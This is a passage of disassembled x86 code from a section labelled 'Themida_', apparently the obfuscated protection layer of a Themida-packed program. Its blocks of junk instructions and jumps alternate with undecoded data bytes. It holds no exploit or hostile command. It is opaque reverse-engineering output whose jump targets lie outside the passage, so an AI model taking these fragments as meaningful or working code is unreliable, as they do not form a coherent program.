		dd 7FF768h, 24348900h, 1201BD55h, 0E5C1734Dh, 0F0C58104h
		dd 0E9CB2EDFh, 0FFFFA238h, 31240C33h, 0C33240Ch, 0E8B8E924h
		dd 0F281FFFFh, 243A7AF9h, 405AD021h, 20710F35h,	8BEE8100h
		dd 173AF1Bh, 8BC681C6h,	5873AF1Bh, 8702C683h, 248B2434h
		dd 0CD36624h, 0D0E99C24h, 81FFFFEDh, 890060F1h,	81D1F77Ch
		dd 8EEE38C1h, 0A7A2E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E00E:				; CODE XREF: Themida_:00559799j
		mov	[esp], ecx
		mov	ecx, esi
		mov	ebp, ecx
		pop	ecx
		pop	esi
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		shl	ebp, 1
		xor	ebp, edi
		xor	edi, ebp
		xor	ebp, edi
		jmp	loc_55A06D
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C7h
		dd 2B652FEh, 0EF81CF01h, 2B652FEh, 45E1C781h, 0C8B569Fh
		dd 4C48124h, 0E9000000h, 2A0Eh,	4308EBC1h, 0BF42B951h
		dd 0CB310025h, 5BDA0159h, 392568h, 24148900h, 42474FFh
		dd 24048F5Ah, 240CD25Ch, 6858E99Ch, 0B60FFFFFh,	148B66C0h
		dd 6EE95224h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E083:				; CODE XREF: Themida_:0055E50Fj
		mov	esi, 0ABEED962h
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_55CE43
; ---------------------------------------------------------------------------
		dw 70BBh
		dd 4B09F95Ah, 0FFC3C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E09D:				; CODE XREF: Themida_:0055FA20j
		mov	ch, dl
		pop	edx
		jmp	loc_557E89
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 5Bh
		dd 9FF74805h, 0E5C581C2h, 1030262h, 0E5ED81C5h,	8B030262h
		dd 60E92404h, 0E9FFFFD0h, 0FFFF6806h, 9CBF5759h, 0E97DEF74h
		dd 0FFFFB1F7h
; ---------------------------------------------------------------------------


loc_55E0D4:				; CODE XREF: Themida_:0055D8DBj
		neg	ecx
		jmp	loc_5552E2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9592434h, 0FFFFBD28h
; ---------------------------------------------------------------------------


loc_55E0E4:				; CODE XREF: Themida_:00556500j
		push	ebp
		mov	ebp, edx
		mov	eax, ebp
		pop	ebp
		mov	edi, eax
		pop	eax
		pop	edx
		push	edx
		jmp	loc_55F383
; ---------------------------------------------------------------------------


loc_55E0F4:				; CODE XREF: Themida_:00556F81j
		inc	edi
		neg	edi
		sub	edi, 0C9E0AE56h
		jmp	loc_558497
; ---------------------------------------------------------------------------
		dw 0F205h
		dd 5A39CB1Dh, 3358C601h, 34312434h, 24343324h, 0D224248Bh
		dd 0E99C2424h, 0FFFF67AEh, 30E9F201h, 57FFFFC2h, 4BFh
		dd 5FFD2900h, 0E9242C87h, 0FFFFA731h, 0F2E9C330h, 5DFFFFEAh
		dd 31240433h, 0EAE92404h, 66000022h, 4EC38059h,	8DC0B60Fh
		dd 1A688704h, 89000053h, 6BE92404h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E163:				; CODE XREF: Themida_:0056007Fj
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	ebp
		jmp	loc_55C9BA
; ---------------------------------------------------------------------------
		dd 1089C981h, 0E1C15CB2h, 8E98107h, 0E92B0B54h,	0FFFFB800h
; ---------------------------------------------------------------------------


loc_55E18C:				; CODE XREF: Themida_:0055B680j
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_55E514
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFF7FFFh
; ---------------------------------------------------------------------------


loc_55E1A4:				; CODE XREF: Themida_:00555591j
		push	0
		sub	[esp], edx
		pop	edx
		push	edi
		mov	edi, 2A865E90h
		add	edi, 1AE1D4Ah
		jmp	loc_55F9BE
; ---------------------------------------------------------------------------
		dw 0F701h
		dd 5FF9315Eh, 0FFD5D0E9h, 0DFE180FFh, 28F5C180h, 525B59C8h
		dd 6602EC83h, 52240489h, 43E926B6h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E1E3:				; CODE XREF: Themida_:0055F825j
		mov	ebx, 525F572Ch
		sub	edx, ebx
		pop	ebx
		jmp	loc_5548CE
; ---------------------------------------------------------------------------


loc_55E1F0:				; CODE XREF: Themida_:0055B94Cj
		mov	ebp, [esp]
		jmp	loc_556B9D
; ---------------------------------------------------------------------------
		dd 8A0C22B9h, 0BBC1815Bh, 1A4E324h, 1C8B59C8h, 4EC8124h
		dd 89000000h, 0E954243Ch, 0FFFFB911h, 80DAB753h, 30E97ACFh
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E223:				; CODE XREF: Themida_:00556CF7j
		shl	esi, 1
		shl	esi, 3
		add	esi, 1F884DB8h
		sub	esi, 106B2BACh
		jmp	loc_5586C7
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 0Dh
		dd 81688F23h, 4635F9E5h, 24C58149h, 5B7FDCEh, 53440FBAh
		dd 0BA2DE801h, 5D53440Fh, 1215E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E25D:				; CODE XREF: Themida_:0055CB1Aj
		pop	ebx
		jmp	loc_556360
; ---------------------------------------------------------------------------
		db 0Ch
		dd 2CA30C53h, 8834345Ah, 0E95158C1h, 253Dh, 39E9BF57h
		dd 0FB293ECEh, 81D3F75Fh, 122F57EBh, 8BDA01E9h,	0C483241Ch
		dd 9B95104h, 81133D5Ah,	0CC6ED4E9h, 0F7D9F76Eh,	2DC181D1h
		dd 0E9363132h, 0FFFFFC9Dh, 0EB81CB01h, 725631CAh, 0FFAE83E9h
		dd 246C81FFh, 842AE604h, 247C295Ch, 24448104h, 842AE604h
		dd 4815F5Ch, 51385524h,	242C810Bh, 296479BAh, 0C240481h
		dd 0E916903Ah, 0FFFF673Bh, 0C681E689h, 4, 4EE81h, 34870000h
		dd 0C895C24h, 0B699E924h, 0B468FFFFh, 8900001Fh, 0E6892434h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 3A768h, 7DFBE900h
		dd 5166FFFFh, 655E9h, 0E7F18000h, 0FFC2CEE9h, 0E3F480FFh
		dd 0E958E288h, 0FFFFC44Dh, 240C8B66h, 39368h, 243C8900h
		dd 91E9E789h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E34F:				; CODE XREF: Themida_:0055FFD3j
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	eax
		jmp	loc_55703E
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 0F6E28600h,	51E286D4h, 0E950D588h
		dd 0FFFFF865h, 7B4FC981h, 0F18152A1h, 190C04C6h, 7D25C981h
		dd 64E92627h, 5AFFFFFCh, 4C481h, 0C6830000h, 74FF5602h
		dd 7AE90424h, 51000015h, 592414F7h, 73D1E981h, 0C2E9533Eh
		dd 83FFFFFBh, 0C28104C4h, 427F39EFh, 0FF763AE9h, 7BF868FFh
		dd 4890000h, 5FE8B824h,	77E941C7h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E3DB:				; CODE XREF: Themida_:005559A5j
		pop	ebx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5548CE
; ---------------------------------------------------------------------------


loc_55E3EB:				; CODE XREF: Themida_:0055BA8Aj
		mov	ebp, esp
		push	eax
		mov	eax, 4
		push	eax
		mov	eax, 63E81634h
		jmp	loc_55E45A
; ---------------------------------------------------------------------------


loc_55E3FE:				; CODE XREF: Themida_:005604A8j
		push	ebp
		jmp	loc_55FBAB
; ---------------------------------------------------------------------------
		dd 6F41E959h, 0D701FFFFh, 6634E95Ah, 0E2C1FFFFh, 26E28102h
		dd 814AB702h, 0FFFFFFC2h, 81DAF7FFh, 0F824C1CAh, 0B702E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E42E:				; CODE XREF: Themida_:0055D64Dj
		push	dword ptr [esp]
		jmp	loc_55D53F
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 1CFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E43E:				; CODE XREF: Themida_:0055676Aj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55D13D
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8704C4h, 8315E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E45A:				; CODE XREF: Themida_:0055E3F9j
		neg	eax
		add	eax, 2FED6BB8h
		jmp	loc_55F605
; ---------------------------------------------------------------------------


loc_55E466:				; CODE XREF: Themida_:0055C14Fj
		mov	[esp], edi
		push	ebp
		mov	ebp, 79AB6E4Eh
		mov	edi, 931F0F3Dh
		jmp	loc_55F16E
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 0A01E95Fh, 0C3810000h, 0BE9DE199h, 34FFD831h, 2434FF24h
		dd 0FFB683E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E499:				; CODE XREF: Themida_:0055DD67j
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5587B9
; ---------------------------------------------------------------------------
		db 53h
		dd 6C6D72BBh, 0F7D3F724h, 92EB81DBh, 4B6F212Ch,	0BF24C381h
		dd 0DF014AB4h, 1221685Bh, 3C890000h, 2474FF24h,	243C8B04h
		dd 56E28952h, 244118BEh, 6817E94Ah, 0D801FFFFh,	9A222C2Dh
		dd 4EC8129h, 0E9000000h, 0FFFFCBDDh, 104C483h, 0EC835BDFh
		dd 241C8904h, 2BBh, 5BDF0100h, 6E1CE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E50E:				; CODE XREF: Themida_:0055ADDAj
		pop	edi
		jmp	loc_55E083
; ---------------------------------------------------------------------------


loc_55E514:				; CODE XREF: Themida_:0055E197j
		push	edi
		mov	edi, 1D76696Bh
		shr	edi, 2
		sub	edi, 75D9A56h
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5579BA
; ---------------------------------------------------------------------------
		dd 1C57095Fh, 6390E95Ah, 0E959FFFFh, 959h
; ---------------------------------------------------------------------------


loc_55E544:				; CODE XREF: Themida_:0055A2D1j
		mov	edi, 361E5B5Ah
		neg	edi
		not	edi
		add	edi, 0FC791813h
		jmp	loc_55AE7E
; ---------------------------------------------------------------------------


loc_55E558:				; CODE XREF: Themida_:005605C1j
		mov	edx, esp
		push	esi
		mov	esi, 5DF54298h
		add	esi, 7A4E5C58h
		dec	esi
		or	esi, 242F66EDh
		jmp	loc_55E6F0
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0EF81D787h, 8D7DED14h, 895FFA01h, 24148BD7h,	4C481h
		dd 0F9290000h, 0E92434FFh, 0FFFFAAB0h, 81240C8Bh, 4C4h
		dd 0B4506600h, 66E32819h, 8124048Bh, 2C4h, 51C30000h, 0EB8019B1h
		dd 0EB66E9E4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E5BA:				; CODE XREF: Themida_:00555325j
		mov	edi, esp
		add	edi, 4
		jmp	loc_55FA40
; ---------------------------------------------------------------------------


loc_55E5C7:				; CODE XREF: Themida_:005606F7j
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 629A4E5Dh
		xor	eax, 770C634Ch
		or	eax, 7FF310B7h
		shl	eax, 3
		jmp	loc_560525
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 2474FF52h, 48F5A04h, 0EE58E924h, 0F581FFFFh, 0D189B264h
		dd 15DE831h, 1C8758C3h,	24248B24h, 0FF62C1E9h, 6CA468FFh
		dd 2C890000h, 51E58924h, 4B9h, 0E9CD0100h, 727h, 0E9243C89h
		dd 0FFFF9A5Dh, 756C68h,	240C8900h, 7CD2BE56h, 0F189216Dh
		dd 0FFDD75E9h, 81EF29FFh, 6677EDC7h, 0F9DBE96Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E64E:				; CODE XREF: Themida_:00554F11j
		pop	edx
		push	24B3h
		mov	[esp], eax
		push	edx
		jmp	loc_555BBD
; ---------------------------------------------------------------------------
		db 1, 0C7h, 0E9h
		dd 0FFFFEF8Eh
; ---------------------------------------------------------------------------


loc_55E664:				; CODE XREF: Themida_:00558C1Cj
		add	esp, 4
		xor	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55CD7A
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 9AE9D301h, 8BFFFF7Eh, 0C481240Ch,	4, 0FFC78347h
		dd 2FFEE781h, 6850F7h, 29000000h, 525F243Ch, 677271BAh
		dd 0F8DFE93Bh, 77FFFFFFh, 2434FF3Ch, 0E924048Bh, 0FFFF67AAh
		dd 4240483h, 83242C8Bh,	0B95104C4h, 4, 0FFE21CE9h, 4EC83FFh
		dd 0E9243C89h, 0FFFFE0B8h
; ---------------------------------------------------------------------------


loc_55E6E0:				; CODE XREF: Themida_:0055A189j
		pop	esp
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_5548CE
; ---------------------------------------------------------------------------
		dw 0E9ADh
		dd 0FFFFF789h
; ---------------------------------------------------------------------------


loc_55E6F0:				; CODE XREF: Themida_:0055E56Dj
		and	esi, 35075E09h
		xor	esi, 314568E8h
		add	esi, 0FABDC923h
		add	edx, esi
		pop	esi
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_55B82A
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFFED04h, 5C3C181h, 0DBE9730Dh, 87FFFFA5h
		dd 0E95C243Ch, 0FFFFF1B4h, 5004C483h, 405E089h,	83000000h
		dd 39E904ECh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E73F:				; CODE XREF: Themida_:0055E90Aj
		mov	[esp], esi
		push	ebx
		jmp	loc_55B792
; ---------------------------------------------------------------------------
		dd 8904EC83h, 68241Ch, 89000072h, 4812424h, 424h, 241C8B00h
		dd 8104C483h, 4C3h, 4BF5700h, 0E9000000h, 0FFFFD35Ch, 34EC681h
		dd 7709AA7Ah, 42E95E20h, 500000Ah, 5F5F7C7Fh, 0D0F7D0F7h
		dd 0F5650A2Dh, 0BD554873h, 3EC8143Ch, 57E9D5F7h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E79F:				; CODE XREF: Themida_:005554F7j
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_5564D3
; ---------------------------------------------------------------------------


loc_55E7AC:				; CODE XREF: Themida_:0055D84Fj
		push	dword ptr [esp]
		mov	eax, [esp]
		push	3B34h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_55B670
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 915AE955h, 0EAB6FFFFh, 281BEE80h, 0CC805AF4h
		dd 8EEC807Bh, 0FFA81EE9h, 0E8E981FFh, 0C11ED858h, 0F18103E9h
		dd 606D0DDEh, 8102E9C1h, 0D43622E9h, 59CF0118h,	6B46E956h
		dd 0B3E9FFFFh, 5FFFF60h, 4, 405h, 24048700h, 1931E9h, 4B900h
		dd 81510000h, 63CA2404h, 0E95E6CEDh, 0FFFFC21Ah, 55E08950h
		dd 4BDh, 5DE80100h, 0FFE39AE9h,	6078E9FFh, 0E5C1FFFFh
		dd 2CED8103h, 89986809h, 66E95DEBh, 28FFFFF4h, 0BBE8E9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E86E:				; CODE XREF: Themida_:00555D71j
		mov	edx, 1Ch
		add	edx, edi
		push	dword ptr [edx]
		xor	dword ptr [esp], 70CF371Bh
		mov	ecx, [esp]
		jmp	loc_55CEF2
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFFDCDEh, 0FF603DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E891:				; CODE XREF: Themida_:0055645Fj
		mov	eax, 93FA4507h
		sub	esi, eax
		pop	eax
		or	ecx, esi
		pop	esi
		jmp	loc_55564C
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 23h
		dd 89FFFF63h, 42BD242Ch, 817B0525h, 0E4042444h,	1220459h
		dd 0E904246Ch, 0FFFFD81Dh, 8106E3C1h, 4B7DCEEBh, 4EC8114h
		dd 89000000h, 50562404h, 0FFF627E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E8D9:				; CODE XREF: Themida_:0055AE8Bj
		neg	eax
		add	eax, 1D0B3561h
		push	eax
		xor	dword ptr [esp], 2F725451h
		pop	ebp
		xor	ebp, 2F725451h
		pop	eax
		jmp	loc_56012F
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 0FF87FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E8FD:				; CODE XREF: Themida_:0056049Cj
		xor	eax, 6DCF3A22h
		xor	edx, eax
		pop	eax


loc_55E905:				; CODE XREF: Themida_:00557241j
					; Themida_:0055C0F0j
		push	2864h
		jmp	loc_55E73F
; ---------------------------------------------------------------------------


loc_55E90F:				; CODE XREF: Themida_:0055FA65j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_558294
; ---------------------------------------------------------------------------
		db 51h
		dd 6055A0B9h, 6BEAE963h, 0CA81FFFFh, 56E14223h,	73B7BE56h
		dd 0F22956F7h, 5AD3015Eh, 4C381h, 0FF530000h, 8B042474h
		dd 0C481241Ch, 4, 8B24048Fh, 0B7E92424h, 33FFFF68h, 895C240Ch
		dd 0BD66242Ch, 81665D81h, 66320CEDh, 2C8BE831h,	0B853E924h
		dd 1C89FFFFh, 0B53FE924h, 0B966FFFFh, 166035Bh,	658CE9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E98A:				; CODE XREF: Themida_:0055800Bj
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_556DD2
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5904h, 24248B24h,	9C240428h, 0FF5F25E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E9A9:				; CODE XREF: Themida_:0055CD18j
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		div	ecx
		push	ebp
		jmp	loc_5589F5
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 4Ah
		dd 8B000005h, 0C481243Ch, 4, 8904EC83h,	0BE56242Ch, 61A4480Fh
		dd 1EE81h, 0E6810000h, 11A31FBh, 0FFFAC681h, 0F589FEFFh
		dd 0E9E8015Eh, 0FFFFF73Fh, 8286E951h, 8B66FFFFh, 0E9522404h
		dd 0FFFFDE2Fh, 89B25266h, 8006C580h, 0D5002DC5h, 0FFBD2EE9h
		dd 0D72CACFFh, 0EC81D828h, 4, 0B3241C89h, 25EB8080h, 0FFC2F3E9h
		dd 12B2FFh, 515A66D0h, 0ED80C5B5h, 64F580DAh, 59E828h
		dd 64E958C3h, 0B8FFFFA8h, 4, 0FF7D4FE9h, 8FF681FFh, 813C4C02h
		dd 0AF6589C6h, 26EE811Ch, 1793B6Ah, 24348BF7h, 4C481h
		dd 3C330000h, 243C3124h, 8B243C33h, 0A9E92424h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EA8B:				; CODE XREF: Themida_:00554EF7j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, ebx
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55AE90
; ---------------------------------------------------------------------------
		dw 23E9h
		dd 89FFFF5Eh, 27BD242Ch, 29630B4Ch, 68FD5DEFh, 615Ah, 0B8240489h
		dd 36631829h, 105DE956h, 815C0000h, 4C3h, 4B85000h, 1000000h
		dd 8DD4E9C3h, 14F7FFFFh, 0D3F75B24h, 2BF8EB81h,	0EB8342BDh
		dd 2AE952FFh, 8B000016h, 0C4832414h, 24048F04h,	243C895Ch
		dd 2662B9BFh, 0F7814F55h, 531A9E72h, 6C227405h,	53F80141h
		dd 6C2274BBh, 5BD82941h, 0D1B8505Fh, 51AC43Ah, 9C718CBh
		dd 6805E8C1h, 41DCh, 0E9243C89h, 0FFFFA223h, 8B545358h
		dd 0C483241Ch, 0F42CE904h, 3489FFFFh, 348B5424h, 4C48324h
		dd 84E95350h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EB57:				; CODE XREF: Themida_:005575F1j
		add	esp, 4
		or	eax, eax
		jz	loc_55C5BC
		push	dword ptr [edi+1Ch]
		push	ecx
		jmp	loc_55DF0A
; ---------------------------------------------------------------------------
		dw 39BEh
		dd 463EBF45h, 7937C681h, 0F74E127Ch, 6EEE81D6h,	81AA3923h
		dd 2D2443C7h, 95AEE958h, 0E95CFFFFh, 1Fh, 56242C8Bh, 0DE9E689h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EB9F:				; CODE XREF: Themida_:0055795Fj
		add	edi, 6D806AC4h
		jmp	loc_55D98E
; ---------------------------------------------------------------------------
		dw 0C166h
		dd 0DEE907E9h, 89FFFFC5h, 0CEB82404h, 4054CA52h, 198E9h
		dd 17BD6800h, 0E95F1037h, 0FFFFAD4Ch, 8B595651h, 0C4812434h
		dd 4, 8B240C87h, 0C4832434h, 1DFAE904h,	822D0000h, 8B666874h
		dd 0C483241Ch, 0F65E904h, 34890000h, 2D0FBE24h,	0E6814510h
		dd 763F0927h, 5204EEC1h, 423651BAh, 0F2B6E926h,	483FFFFh
		dd 34FF0424h, 0C4835F24h, 4C78104h, 56000000h, 0C4061EBEh
		dd 0F0E68160h, 0E96DFB47h, 0FFFFFE29h, 24048B66h, 52E68956h
		dd 0D9BEE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EC42:				; CODE XREF: Themida_:00555EBEj
		push	ebp
		jmp	loc_55978E
; ---------------------------------------------------------------------------


loc_55EC48:				; CODE XREF: Themida_:005564BBj
		mov	ebx, [esp]
		push	edi
		jmp	loc_555AA3
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 6825E981h, 0E9C10136h, 0A4C18108h, 296F1089h, 240C8BCBh
		dd 4C481h, 9050000h, 0E906321Ch, 0FFFFC7CDh, 0E8C09CB0h
		dd 0F5E1E907h, 0CB81FFFFh, 40482E1Dh, 3EBC14Bh,	0C381DBF7h
		dd 0FF9E323Fh, 215BDE31h, 24348BF5h, 4C481h, 0E5C10000h
		dd 22BA5204h, 119F6BFh,	5F2E9D5h, 0E6680000h, 89000066h
		dd 48B2404h, 0E1895124h, 2804BA52h, 0C2833632h,	49EA8101h
		dd 4A2F066Fh, 7C8FEA81h, 0E95137C3h, 0B70h, 0E99C5166h
		dd 0FFFF5BEAh, 0C8B665Ch, 4EC8324h, 57243489h, 0C781E789h
		dd 4, 8704EF83h, 895C243Ch, 0E9552424h,	0FFFFDCEBh, 4C6815Eh
		dd 0E9000000h, 0FFFF806Fh, 0E956F580h, 0FFFFDB86h, 0E958C709h
		dd 0FFFFEDF3h, 6624248Bh, 8324048Bh, 48904ECh, 1031E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ED36:				; CODE XREF: Themida_:0055D6D1j
		shr	esi, 5
		push	ebp
		jmp	loc_554BF5
; ---------------------------------------------------------------------------


loc_55ED3F:				; CODE XREF: Themida_:0055D547j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55F841
; ---------------------------------------------------------------------------
		db 59h
		dd 68575651h, 95C098Ch,	0FF8E32E9h, 75BB53FFh, 8127B526h
		dd 0F6202C3h, 6E3C135h,	0FF7976E9h, 4C481FFh, 58000000h
		dd 2DB15166h, 8B66CB28h, 0C483240Ch, 10EB8002h,	0FFB1C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55ED89:				; CODE XREF: Themida_:005550BBj
		push	eax
		jmp	loc_55A38B
; ---------------------------------------------------------------------------
		db 83h
		dd 6AE904ECh, 81FFFF98h, 4C3h, 4C38100h, 87000000h, 815C241Ch
		dd 4ECh, 240C8900h, 8E5323B9h, 8BCE29F7h, 0C481240Ch, 4
		dd 685EF029h, 45E1h, 68241489h,	6634B36Dh, 5A2434FFh, 3104C483h
		dd 2434FFD0h, 9078E95Ah, 4BEFFFFh, 5000000h, 56601DE9h
		dd 0CAE9F001h, 87FFFF96h, 285C2404h, 1EBDE9D8h,	5AB80000h
		dd 31065F20h, 8B5758C7h, 23E92434h, 0F7FFFFB1h,	0B8CA81D2h
		dd 56189B1Ah, 635626BEh, 54B85051h, 2120B51Bh, 0B4E958C6h
		dd 56FFFF8Fh, 0FFEEB8E9h, 48E953FFh, 0FFFFFFE4h, 815B2434h
		dd 4C4h, 243C8700h, 406C685Ch, 1C890000h, 2AB8BB24h, 0EC812AA5h
		dd 4, 0E9241C89h, 0FFFFFC7Eh, 0C884E95Eh, 0E957FFFFh, 0FFFFFD55h
		dd 0DD685854h, 89000046h, 12BD242Ch, 8110A165h,	0FC1428EDh
		dd 0B2E9457Dh, 81FFFFF3h, 4C7h,	2BA5200h, 1000000h, 24148BD7h
		dd 0FF9071E9h, 74FF55FFh, 34FF0424h, 0C4835D24h, 24048F04h
		dd 0FF8F3EE9h, 0C3166FFh, 0C336624h, 0C316624h,	5A0CE924h
		dd 48BFFFFh, 5FC6E924h,	0E581FFFFh, 79952581h, 8107E5C1h
		dd 0CD1C45EDh, 5DEB29F7h, 30E8C381h, 0C3016160h, 5B83E952h
		dd 575CFFFFh, 8904EC83h, 4832424h, 0FEE90424h, 81000014h
		dd 0C44659EBh, 5BDF895Eh, 29E9FA31h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EF0B:				; CODE XREF: Themida_:00555444j
		pop	eax
		jmp	loc_555C51
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 6
		dd 1A66E9h, 4BF5700h, 1000000h,	0E9565FF8h, 5CDh, 0C17813B9h
		dd 0BABAE953h, 0DD2DFFFFh, 0FF427068h, 835F2434h, 0C33104C4h
		dd 87BFE951h, 0B951FFFFh, 7E703C8Bh, 8244C29h, 24448159h
		dd 0A23F4704h, 6FE95A0Bh, 68FFFF59h, 6421h, 68241489h
		dd 591E5CDFh, 74FE685Ah, 0C3E90000h, 81FFFF65h,	0C50FABCFh
		dd 0FFF78159h, 1DDFFCFh, 0C6815FFEh, 4,	5C243487h, 3F47BB53h
		dd 1BE90BA2h, 0B6FFFF7Fh, 0E9F02073h, 0FFFFBE12h, 0ECC077B4h
		dd 68D4F608h, 5B18h, 0B1240C89h, 88B5E9F0h, 0E953FFFFh
		dd 0FFFF61CCh, 0E924148Bh, 0FFFFC515h, 2DB3685Fh, 1C890000h
		dd 2F11BB24h, 8E6804ABh, 0E9000066h, 0FFFF6C03h
; ---------------------------------------------------------------------------


loc_55EFE0:				; CODE XREF: Themida_:0055916Fj
		add	ebx, edi
		pop	edi
		mov	dword ptr [ebx], 0
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_557506
; ---------------------------------------------------------------------------
		db 81h,	2Ch, 24h
		dd 16903A0Ch, 79BAB850h, 44012964h, 81580424h, 3855242Ch
		dd 0A3E90B51h, 8BFFFFD4h, 0C4812414h, 4, 148BD501h, 4C48124h
		dd 1000000h, 2434FFEEh,	0E689565Dh, 4C681h, 0C6830000h
		dd 24348704h, 0F389535Ch, 515A5352h, 0C181E189h, 4, 4BE56h
		dd 0E9810000h, 1DB44796h, 0CC4E981h, 0F1296EEBh, 0CC4C181h
		dd 0C1816EEBh, 1DB44796h, 0CBE9515Eh, 0D0000014h, 8CB050EFh
		dd 0C730FB34h, 0F4CF8058h, 51B8EF80h, 0FFA269E9h, 240C87FFh
		dd 7542685Ch, 3C890000h, 1413E924h, 0C4830000h,	6C816602h
		dd 8820224h, 24740166h,	44816602h, 8820224h, 15E95366h
		dd 0B9FFFF91h, 770E7FF7h, 88E95749h, 0FFFFFF9Bh, 0E9592434h
		dd 0FFFF70B0h, 148B5958h, 0E393E924h, 0EB81FFFFh, 39849B03h
		dd 15BDF29h, 3CC781F7h,	5003A504h, 0FF6D8BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F0ED:				; CODE XREF: Themida_:0055D4EBj
		pop	esp
		or	eax, eax
		jz	loc_55838A
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 18F37755h
		add	[esp+4], eax
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		push	4AEFh
		mov	[esp], eax
		mov	eax, 7F04703Ch
		sub	eax, 658248FCh
		push	ebx
		mov	ebx, 5FC60D53h
		shl	ebx, 3
		and	ebx, 50296175h
		or	ebx, 548963D2h
		sub	ebx, 4BF248Ah
		add	ebx, 52743A1Fh
		jmp	loc_55774C
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 6C5BE924h, 0E681FFFFh, 61A051D9h, 16A1BF57h,	0FE3140BAh
		dd 2F6815Fh, 9346148h, 0E63BE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


